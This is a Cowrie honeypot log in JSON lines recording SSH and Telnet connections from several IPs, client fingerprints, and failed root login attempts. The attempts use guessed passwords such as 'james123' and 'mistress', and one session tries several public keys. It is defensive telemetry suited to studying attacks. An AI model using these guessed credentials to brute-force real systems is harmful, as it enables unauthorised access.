{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:56.167171Z","src_ip":"124.109.2.211","session":"519b122c88c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:56.439140Z","src_ip":"124.109.2.211","session":"519b122c88c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"james123","message":"login attempt [root/james123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:57.458658Z","src_ip":"124.109.2.211","session":"519b122c88c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57334,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6dece60ca7d","protocol":"telnet","message":"New connection: 152.42.224.71:57334 (10.17.0.5:23) [session: b6dece60ca7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:58.281842Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:19:58.741648Z","src_ip":"124.109.2.211","session":"519b122c88c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":35624,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce85d0a2b56","protocol":"ssh","message":"New connection: 43.133.148.170:35624 (10.17.0.5:22) [session: 0ce85d0a2b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:01.261027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:01.266401Z","src_ip":"43.133.148.170","session":"0ce85d0a2b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:01.517684Z","src_ip":"43.133.148.170","session":"0ce85d0a2b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mistress","message":"login attempt [root/mistress] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:02.555923Z","src_ip":"43.133.148.170","session":"0ce85d0a2b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:03.811809Z","src_ip":"43.133.148.170","session":"0ce85d0a2b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.933982133865356,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:06.318501Z","src_ip":"152.42.224.71","session":"168e7facbf2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38444,"dst_ip":"10.17.0.5","dst_port":23,"session":"c414382113e6","protocol":"telnet","message":"New connection: 152.42.224.71:38444 (10.17.0.5:23) [session: c414382113e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:08.723335Z"}
{"eventid":"cowrie.session.closed","duration":68.87226700782776,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:11.597447Z","src_ip":"152.42.224.71","session":"a2dea82758de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00340223312378,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:13.783298Z","src_ip":"152.42.224.71","session":"9df71e234b50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38446,"dst_ip":"10.17.0.5","dst_port":23,"session":"5145739c11e6","protocol":"telnet","message":"New connection: 152.42.224.71:38446 (10.17.0.5:23) [session: 5145739c11e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:13.874022Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54338,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3ffb2eb26e","protocol":"telnet","message":"New connection: 152.42.224.71:54338 (10.17.0.5:23) [session: fa3ffb2eb26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:18.100246Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.74.135","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c1075336849","protocol":"telnet","message":"New connection: 134.209.74.135:53786 (159.203.135.109:23) [session: 8c1075336849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:18.996588Z"}
{"eventid":"cowrie.session.closed","duration":120.00295424461365,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:21.161807Z","src_ip":"152.42.224.71","session":"efe56626a50f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.693708419799805,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:21.805152Z","src_ip":"152.42.224.71","session":"52bb25fe7b4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22083640098572,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:22.174529Z","src_ip":"152.42.224.71","session":"effb1e5ad496","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34166,"dst_ip":"159.203.135.109","dst_port":22,"session":"139e7fb27f27","protocol":"ssh","message":"New connection: 37.233.85.71:34166 (159.203.135.109:22) [session: 139e7fb27f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:26.173189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:26.177371Z","src_ip":"37.233.85.71","session":"139e7fb27f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:26.281051Z","src_ip":"37.233.85.71","session":"139e7fb27f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"faraon","message":"login attempt [root/faraon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:26.580705Z","src_ip":"37.233.85.71","session":"139e7fb27f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:27.683806Z","src_ip":"37.233.85.71","session":"139e7fb27f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44718,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a762e296cf","protocol":"telnet","message":"New connection: 152.42.224.71:44718 (10.17.0.5:23) [session: a5a762e296cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:39.735955Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.214.194","src_port":47428,"dst_ip":"10.17.0.5","dst_port":22,"session":"27aebd3df664","protocol":"ssh","message":"New connection: 208.115.214.194:47428 (10.17.0.5:22) [session: 27aebd3df664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:40.669606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:40.675409Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:40.754069Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:66:df:f2:77:c9:3c:2d:55:a9:ff:29:a3:d1:62:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLFA4JaMrpfmYkNSxFDmiyLuHLcOt0qOV4UBQ5SBZmlF9Z4sur7OOugfcqmqfnplE1+WsOLMifpMenJqAvuHvyTFF2kxN5ZPXKYBjwnwi2zNNgk0aFqu678yG/9XLUeu8RuOmeP8Qypv7LiUXyTd4sE1SxeXz5wV6B2+DEyz79I695ijIbJAwLtVAcABNkWvc/Qx0V4OypaW7n0+mjUrgkOScNPFSt/a51On7+3eJXPhHqtUr7S0T5t+WIs4uMOllPiC2/drkdtWZu9Bm5H9xPTJO9OO5u4oCwrFW7QHz1gnXH5rtXS1YYJ3+S6F44RVRpeEBoLcITAJ4iR7db0lH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:66:df:f2:77:c9:3c:2d:55:a9:ff:29:a3:d1:62:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.119361Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:66:df:f2:77:c9:3c:2d:55:a9:ff:29:a3:d1:62:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDLFA4JaMrpfmYkNSxFDmiyLuHLcOt0qOV4UBQ5SBZmlF9Z4sur7OOugfcqmqfnplE1+WsOLMifpMenJqAvuHvyTFF2kxN5ZPXKYBjwnwi2zNNgk0aFqu678yG/9XLUeu8RuOmeP8Qypv7LiUXyTd4sE1SxeXz5wV6B2+DEyz79I695ijIbJAwLtVAcABNkWvc/Qx0V4OypaW7n0+mjUrgkOScNPFSt/a51On7+3eJXPhHqtUr7S0T5t+WIs4uMOllPiC2/drkdtWZu9Bm5H9xPTJO9OO5u4oCwrFW7QHz1gnXH5rtXS1YYJ3+S6F44RVRpeEBoLcITAJ4iR7db0lH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.122663Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:65:4c:7f:98:d6:9e:a6:40:84:cb:f2:c1:79:34:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoZb6EWl9f0eOf/VxpwFwC4JKrOKWgx0loYlvWyLkZkM3R+eanm67hPUbuJltYYdNc5MYbMfRYnvcC6mFRnPy4UHJZ9jw+mkwDVBYfaCrn2+29IGQ78JBKexQWTdWRcpi39JpM2L9iBywXMPoRlOkwjU0LGbZ75ZOUzCepNFwp9WIy9+HerFuTOYMyKjprDtLUcZYEEv959GZHsPAyCaDRQALBN2ECrZ7V4NP19qxA9/77XwxvCB0XauOiN8ERRlopgsOz6qPFRyWjZIfY9aQ1eSR4CGRS/CQtCk4ekvg3TbIVVvkILAt+yjxI6MtKLrhKARxArH14YVSmh5G6yL8x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:65:4c:7f:98:d6:9e:a6:40:84:cb:f2:c1:79:34:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.203488Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:65:4c:7f:98:d6:9e:a6:40:84:cb:f2:c1:79:34:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDoZb6EWl9f0eOf/VxpwFwC4JKrOKWgx0loYlvWyLkZkM3R+eanm67hPUbuJltYYdNc5MYbMfRYnvcC6mFRnPy4UHJZ9jw+mkwDVBYfaCrn2+29IGQ78JBKexQWTdWRcpi39JpM2L9iBywXMPoRlOkwjU0LGbZ75ZOUzCepNFwp9WIy9+HerFuTOYMyKjprDtLUcZYEEv959GZHsPAyCaDRQALBN2ECrZ7V4NP19qxA9/77XwxvCB0XauOiN8ERRlopgsOz6qPFRyWjZIfY9aQ1eSR4CGRS/CQtCk4ekvg3TbIVVvkILAt+yjxI6MtKLrhKARxArH14YVSmh5G6yL8x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.206647Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b0:bd:95:a5:d6:f4:3c:c5:de:55:d8:18:ff:9e:9e:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHnpV8F+bB90486QcSG1HMZmeOPcwEe0NeFvW+s7xbiu","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint b0:bd:95:a5:d6:f4:3c:c5:de:55:d8:18:ff:9e:9e:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.284762Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b0:bd:95:a5:d6:f4:3c:c5:de:55:d8:18:ff:9e:9e:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHnpV8F+bB90486QcSG1HMZmeOPcwEe0NeFvW+s7xbiu","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.288095Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:57:06:45:13:9d:5d:48:49:df:5f:7b:6d:0e:01:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClfMo9w/qVvH03tem5VtTHcS2lWSKPJOqiTxe2XfEfg+bfBeaGK0pfaQDbFjqgLwj+SEGsgz/ZdytU+KrWsdW/bs72f/JHoVNRwL64ehT9+CcWmHi5y0UuF6QadSN9n+l9ZaOEVTXtniPWIYs0IeQXqnaAY+S98npIT9Om+sMz9pV3iVPUtu3OJB0OIZsm9ZXp5Ck46+A6SsLI11S+CvKjjBdnCwVHl1MqDIqnUbQWRiCZzebyaGeY4pAi8BRqxcDtC+JHTjnXjGZke6Phz5sjMicqmFQtm5A1OTW5kB17KJCjvVqU8YkLY5jUNTWrbu+F8mj/O+wy0TfOujTIc84OcrtIpb18TO9WYShNtBJ9AfcA1HTwjNqKHA/H+c+C9U0pWNmuXE1o5c+UNdmVz3ERHvrNnyD55+G5Po+b5aJqz33HTR7axl+naDP+JEu9RdfdIe0fhZpdYGuo5ESckaFC8YW7YKpoI2eIaKPiw/hJogSsy2He0QkVkv+bo4SOoC0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:57:06:45:13:9d:5d:48:49:df:5f:7b:6d:0e:01:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.366623Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:57:06:45:13:9d:5d:48:49:df:5f:7b:6d:0e:01:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQClfMo9w/qVvH03tem5VtTHcS2lWSKPJOqiTxe2XfEfg+bfBeaGK0pfaQDbFjqgLwj+SEGsgz/ZdytU+KrWsdW/bs72f/JHoVNRwL64ehT9+CcWmHi5y0UuF6QadSN9n+l9ZaOEVTXtniPWIYs0IeQXqnaAY+S98npIT9Om+sMz9pV3iVPUtu3OJB0OIZsm9ZXp5Ck46+A6SsLI11S+CvKjjBdnCwVHl1MqDIqnUbQWRiCZzebyaGeY4pAi8BRqxcDtC+JHTjnXjGZke6Phz5sjMicqmFQtm5A1OTW5kB17KJCjvVqU8YkLY5jUNTWrbu+F8mj/O+wy0TfOujTIc84OcrtIpb18TO9WYShNtBJ9AfcA1HTwjNqKHA/H+c+C9U0pWNmuXE1o5c+UNdmVz3ERHvrNnyD55+G5Po+b5aJqz33HTR7axl+naDP+JEu9RdfdIe0fhZpdYGuo5ESckaFC8YW7YKpoI2eIaKPiw/hJogSsy2He0QkVkv+bo4SOoC0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.370236Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:1b:7e:f3:ea:d9:7a:01:3b:a3:14:91:b3:54:b1:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC/26fgqq4hfFeLU82jvrNmNWW0XXzYtxGFyq/BklolKVKTW7NjEkOLSRSc/DiIZNZgOL0K1Fkn7v/bUFlYb4XpUrx8LNOgADJBTqQd84EtlEwxTjsz9LBiKd8wrQPGdVbyV8xyV7oTX69fXv60Tr2JoR4l1wkKzocU5vjAZTb9eEns7jgmWQCGNfww5J1htKFiWQcZDCAlAqJ+sAysqlZ5Rl4iKJ9zN8A2bxvacD6ilK/dCaBlu5lUl44EOW3KNY38TMMDh2KyM9D1QGIsdgQsb08ncifkShD4RoCO30RvZ4bQO4sql4O5PrOI0zcN7kWL/jLCANyiE+0q5XRVoFla/Cv+03yQ5Mk2bYbnJuojMjrYSeox84EXofAEsDVkczbM7QuT/3E6n+jfQzkC1Si++/BynlrhZ808tePTD89GIhCe/M0eCd//+j9UpU0TMEnYa3rgp54ffcyJql7r+9ZvMj4LZW6MES3MHoGF+mK2U4LEeWyN6pZpyvMY5GquLiVjd8vGYl9YfaxHII3nk9D0iFmeqKsa1KeJ30zDVXrW3IF2iJfXz8nz/silYTn9PGIwm2hJpTcnrx9EXl+0tul2JYYej8lhwJdMXnV2fz6kJzgbCIul/Y+LaCNUAN2lgPyRQad6ng9Ic8ZbUTjylJEihQ4TbfnfRUQB4ztBiyXVZQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:1b:7e:f3:ea:d9:7a:01:3b:a3:14:91:b3:54:b1:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:20:41.447841Z","src_ip":"208.115.214.194","session":"27aebd3df664","protocol":"ssh"}
